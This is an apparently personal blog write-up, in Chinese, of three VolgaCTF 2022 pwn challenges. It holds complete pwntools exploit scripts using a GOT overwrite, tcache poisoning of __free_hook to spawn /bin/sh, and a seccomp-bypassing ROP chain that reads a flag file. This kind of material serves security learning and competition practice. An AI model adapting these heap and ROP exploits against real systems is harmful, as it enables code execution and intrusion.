volgaCTF2022_pwn

来自俄罗斯的volgactf,这次也是忙里偷闲,后面一段时间可能因为期末都要没时间做了。
这次出了3道,还是挺爽的

pwn

Power

glibc2.31,但是头疼的是用了debian的libc
VolgaCTF{what_@_c00l_pr1mitive}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
filename="./power"
libc_name="./libc.so.6"
# io = process(filename)
io = remote('power.q.2022.volgactf.ru', 1337)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

# gdb.attach(io,"b *0x40132E")
io.recvuntil('Heap base is ')
heap_base = int(io.recvuntil('\n',drop=True),16)
success("heap_base: " + hex(heap_base))


# gdb.attach(io,"b *0x401403")
io.recvuntil('Where:')
io.sendline(hex(heap_base+0xa8)[2:])
io.recvuntil('What:')
success("got: " + hex(elf.got['exit']))
io.sendline(hex(elf.got['exit'])[2:])


input('>')

io.sendline(p64(elf.symbols['win']))


io.interactive()

habyheap

2.33的 还没有移除freehook,有一个8byte的overflow,直接改size即可拿到libc,然后打free_hook即可。
VolgaCTF{d0_y0u_f33l_7h3_s74r7_0f_7h3_n3w_3r4}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
filename="./habybeap"
libc_name="./libc.so.6"
# io = process(filename)
io = remote('habybeap.q.2022.volgactf.ru', 21337)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def add(index,choice,con):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('index>> ')
io.sendline(str(index))
io.recvuntil('smol >> ')
io.sendline(str(choice))
io.recvuntil('data>> ')
io.send(con)

def delete(index):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('index>> ')
io.sendline(str(index))

def edit(index,content):
io.recvuntil('choice>> ')
io.sendline('2')
io.recvuntil('index>> ')
io.sendline(str(index))
io.recvuntil('data>> ')
io.send(content)

def show(index):
io.recvuntil('choice>> ')
io.sendline('4')
io.recvuntil('index>> ')
io.sendline(str(index))

def debug():
cmd = ""
cmd +="set debug-file-directory /home/nicholas/glibc-all-in-one/libs/libc6_2.33-0ubuntu5_amd64/.build-id\n"
cmd += "brva 0x126f\n"
gdb.attach(io,cmd)
show(0)

add(0,0,'aa')
add(1,1,'bb')
# debug()
add(3,1,(p64(0)+p64(0x21))*7)
add(4,1,(p64(0)+p64(0x21))*7)
add(5,1,(p64(0)+p64(0x21))*7)
add(6,1,(p64(0)+p64(0x21))*7)
add(7,1,(p64(0)+p64(0x21))*7)
add(8,1,(p64(0)+p64(0x21))*7)
add(9,1,(p64(0)+p64(0x21))*7)
delete(0)
show(0)
tcache_key = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
success("tcache key: " + hex(tcache_key))
heap_base = tcache_key << 12
success("heap_base: " + hex(heap_base))
add(2,0,p64(0)*13+p64(0x441)) # change 1's size


delete(1) # into uns
edit(1,p8(0xff))
show(1)

libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_info = libc_info - 0xff
success("libc_info: " + hex(libc_info))
libc_base = libc_info - 0x1e0c00
success("libc_base: " + hex(libc_base))




delete(4)
show(4)
tcache_key2 = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
success("tcache key2: " + hex(tcache_key2))
delete(5)
cur_heap = heap_base+0x0004c0
# debug()
edit(5,p64((libc.symbols['__free_hook']+libc_base)^tcache_key2)[0:6])
add(10,1,'/bin/sh\x00')
success("free_hook: " + hex(libc.symbols['__free_hook']+libc_base))
add(11,1,p64(libc.symbols['system']+libc_base)) # write
delete(10)


io.interactive()


mafia

这题很巧妙,开seccomp把read的fd限制死了0.给了close(),mmap(),read(),open(),write()这些函数调用。存在一个栈溢出,可以控制栈上指针导致任意地址读写。

目前能做到泄露所有地址,任意地址读写,但是rop的时候就是这里遇到了问题。
同时mmap也不行,因为他的r10寄存器我没法控制,libc和binary所有的gadget都试过了没有一个可以控制r10的。
贴一个脚本吧
后来想到的方法,先把输出流关了,就能写打开文件的时候分配到fd为0了。这样确实可以做出来

目前本地出了,远程不知道为啥出不了,不管了反正我本地做出来了哈哈哈哈太开心了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
from pwn import *
import os




filename="./mafia"
# io = process(filename)
elf = ELF(filename)
libc_name="./libc.so.6"
io = remote('mafia.q.2022.volgactf.ru',1337)
context.log_level='debug'
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']


def add(size,index,con):
io.recvuntil('choice>>')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('string:')
io.send(con)

def edit(index,con):
io.recvuntil('choice>>')
io.sendline('2')
io.recvuntil('index')
io.sendline(str(index))
io.recvuntil('string:')
io.send(con)

def print_str(index):
io.recvuntil('choice>>')
io.sendline('3')
io.recvuntil('index')
io.sendline(str(index))

def exit():
io.recvuntil('choice>>')
io.sendline('4')

# gdb.attach(io,"brva 0x169A")
payload = b'a'*8
add(1,0,payload)
print_str(0)
io.recvuntil('aaaaaaaa')
code_info = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
success("code_info: " + hex(code_info))
code_base = code_info - 0x00160b
success("code_base: " + hex(code_base))


# gdb.attach(io,"brva 0x176E") #puts
add(1,1,'aa')
# add(1,2,'./flag.txt\x00')
add(1,2,'./flag.txt\x00')
edit(1,p64(0xdeadbeef))
# print_str(1)
# gdb.attach(io,"brva 0x171B") # edit
puts_got = code_base+elf.got['puts']
success("puts_got: " + hex(puts_got))
edit(0,p64(0)+p64(code_info)+p64(0xfffffffe00000340)+p64(0x0000000300000001)+p64(0xfffffffefffffffe)+p64(0x00000000fffffffe)+p64(0)*6+p64(code_base+elf.got['puts']))
print_str(0)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
libc_base = libc_info - libc.symbols['puts']
success("libc_base: " + hex(libc_base))



standard = p64(0)+p64(code_info)+p64(0xfffffffe00000340)+p64(0x0000000300000001)+p64(0xfffffffefffffffe)+p64(0x00000000fffffffe)+p64(0)*6+p64(libc_base+libc.symbols['environ'])
edit(1,p64(0)+p64(code_info)+standard)
print_str(0)
io.recvuntil('\n')
stack_info = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
success("stack_info: " + hex(stack_info))


# ROP
ret_addr = stack_info - 256
flag_str = stack_info - 534
success("flag_str:" + hex(flag_str))
flag_place = libc_base-0x2000
success("flag_place: " + hex(flag_place))

payload2 = p64(0)+p64(code_info)+standard
payload2 +=p64(ret_addr) # chunk1
edit(1,payload2)

# # now write ROP in ret value
pop_rdi = 0x0000000000026796+libc_base
pop_rsi_r15 = 0x000000000002890f+libc_base
pop_rdx_ret = 0x00000000000cb1cd+libc_base
syscall = 0x000000000002552b+libc_base
or_syscall = 0x00000000000f8097+libc_base
mov_eax_ecx_syscall = libc_base+0x3bca5
pop_rdx_rcx_rbx = 0x00000000000e4e19+libc_base
pop_rax = 0x000000000003ee88+libc_base
pop_r8 = 0x000000000012a956+libc_base
pop_r10 = 0x000000000007f6e1+libc_base
mov_r10 = libc_base + 0x000000000006b30e# add rax, rsi ; mov r10d, 1 ; jmp rax
rop_chain = b""

# close
rop_chain +=p64(pop_rdi)
rop_chain+=p64(0)
rop_chain+=p64(pop_rax)
rop_chain+=p64(0x3)
rop_chain+=p64(or_syscall)

# open
rop_chain +=p64(pop_rdi) #pop rdi
rop_chain+=p64(flag_str)
# rop_chain+=p64(libc_base+libc.symbols['system'])
rop_chain+=p64(pop_rsi_r15)
rop_chain +=p64(2)
rop_chain +=p64(pop_rdx_ret)
rop_chain+=p64(0)

rop_chain+=p64(pop_rax)
rop_chain+=p64(2)
rop_chain +=p64(or_syscall)
# read
# rop_chain+=p64(pop_rax)
# rop_chain+=p64()
# rop_chain+=p64(mov_r10)
rop_chain +=p64(pop_rdi)
rop_chain+=p64(0)
rop_chain+=p64(pop_rsi_r15)
rop_chain+=p64(flag_place)
rop_chain +=p64(pop_rdx_ret)
rop_chain+=p64(0x100)
rop_chain+=p64(pop_rax)
rop_chain+=p64(0)
# rop_chain+=p64(pop_r10)
# rop_chain+=p64(0x1)
rop_chain +=p64(or_syscall)
# write
rop_chain +=p64(pop_rdi)
rop_chain+=p64(1)
rop_chain+=p64(pop_rsi_r15)
rop_chain+=p64(flag_place)
rop_chain+=p64(pop_rdx_ret)
rop_chain+=p64(0x100)
rop_chain+=p64(pop_rax)
rop_chain+=p64(1)
rop_chain +=p64(or_syscall)


edit(1,rop_chain)
# gdb.attach(io,"brva 0x171B\nbrva 0x17A2\n")
exit()




io.interactive()



本地出的图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[*] Switching to interactive mode                                                                                                                                                    
[DEBUG] Received 0x100 bytes:
00000000 66 6c 61 67 7b 61 61 61 61 61 7d 00 00 00 00 00 │flag│{aaa│aa}·│····│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000040 00 f0 a3 e6 9a 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000090 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000b0 b0 f6 a3 e6 9a 7f 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
flag{aaaaa}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\xa3\xe6\x9a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xa3\xe
6\x9a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x[*] Got EOF while reading in interactive
$
文章目录
  1. 1. pwn
    1. 1.1. Power
    2. 1.2. habyheap
    3. 1.3. mafia
|